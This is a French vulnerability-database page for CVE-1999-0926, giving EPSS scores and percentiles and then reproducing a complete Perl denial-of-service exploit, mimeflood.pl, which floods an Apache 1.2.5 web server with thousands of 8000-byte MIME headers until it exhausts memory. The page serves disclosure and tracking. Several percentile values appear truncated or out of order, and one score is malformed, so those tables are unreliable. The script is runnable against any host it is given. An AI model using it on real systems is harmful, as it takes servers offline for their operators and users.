CVE-1999-0926 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.06%	–	–
2022-02-13	–	–	1.06%	–	–
2022-03-20	–	–	1.06%	–	–
2022-04-03	–	–	1.06%	–	–
2022-04-10	–	–	1.06%	–	–
2022-07-03	–	–	1.06%	–	–
2022-09-25	–	–	1.06%	–	–
2023-02-19	–	–	1.06%	–	–
2023-03-12	–	–	–	0.39%	–
2023-05-28	–	–	–	0.39%	–
2023-11-05	–	–	–	0.39%	–
2023-11-12	–	–	–	0.39%	–
2023-12-17	–	–	–	0.39%	–
2024-02-11	–	–	–	0.39%	–
2024-06-02	–	–	–	0.39%	–
2024-06-23	–	–	–	0.39%	–
2024-12-22	–	–	–	0.71%	–
2025-02-09	–	–	–	0.71%	–
2025-01-19	–	–	–	0.71%	–
2025-02-16	–	–	–	0.71%	–
2025-03-18	–	–	–	–	6.49%
2025-03-30	–	–	–	–	6.22%
2025-03-30	–	–	–	–	6.22,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	27%
2022-02-13	28%
2022-03-20	29%
2022-04-03	48%
2022-04-10	49%
2022-07-03	5%
2022-09-25	51%
2023-02-19	52%
2023-03-12	69%
2023-05-28	7%
2023-11-05	71%
2023-11-12	7%
2023-12-17	71%
2024-02-11	73%
2024-06-02	73%
2024-06-23	74%
2024-12-22	8%
2025-02-09	81%
2025-01-19	8%
2025-02-16	81%
2025-03-18	9%
2025-03-30	9%
2025-03-30	9%

source: https://www.securityfocus.com/bid/1760/info Apache Web Server and MessageMedia UnityMail are susceptible to a denial of service attack if a significant amount of 8000 byte MIME headers are sent. Both will crash and restart of the application is required in order to regain normal functionality. Other web servers may be also be vulnerable to this attack. #! /bin/perl # mimeflood.pl - 02/08/1998 - L.Facq (facq@u-bordeaux.fr) # Web servers / possible DOS Attack / "mime header flooding" # # looking at the apache 1.2.5 source code i found # that there was no limit on how many mime headers could # be included in a client request. The only limits # are : 8192 byte for each header, 300 sec. on reading headers. # # => by sending a crazy amount of 8000 bytes headers, it's possible # to consume a lot of memory (and of course CPU). The point # is that httpd daemons grow and STAY at this big size (or die # if you send too much) # # -> may be a limit on mime header number could be added. # # -> may be other web server could be vulnerable to this problem. # # - i tried on an apache 1.2.5 -> it works # - i didnt installed 1.3.1 but looking at the source code, # i think the problem is there too. # ################################################## #From Roy T. Fielding / Sep 2 '98 at 12:57 pm -420 # #[...] #> #> -> may be a limit on mime header number could be added. # #Such limits have already been added to 1.3.2-dev. # #.....Roy use Socket; # Usage : $0 host [port [max] ] $max= 0; if ($ARGV[2]) { $max= $ARGV[2]; } $proto = getprotobyname('tcp'); socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto); $port = 80; if ($ARGV[1]) { $port= $ARGV[1]; } $host = $ARGV[0]; $sin = sockaddr_in($port,inet_aton($host)); connect(Socket_Handle,$sin); send Socket_Handle,"GET / HTTP/1.0\n",0; $val= ('z'x8000)."\n"; $n= 1; $|= 1; while (Socket_Handle) { send Socket_Handle,"Stupidheader$n: ",0; send Socket_Handle,$val,0; $n++; if (!($n % 100)) { print "$n\n"; } if ($max && ($n > $max)) { last; } } print "Done: $n\n"; send Socket_Handle,"\n",0; while (<Socket_Handle>) { print $_; }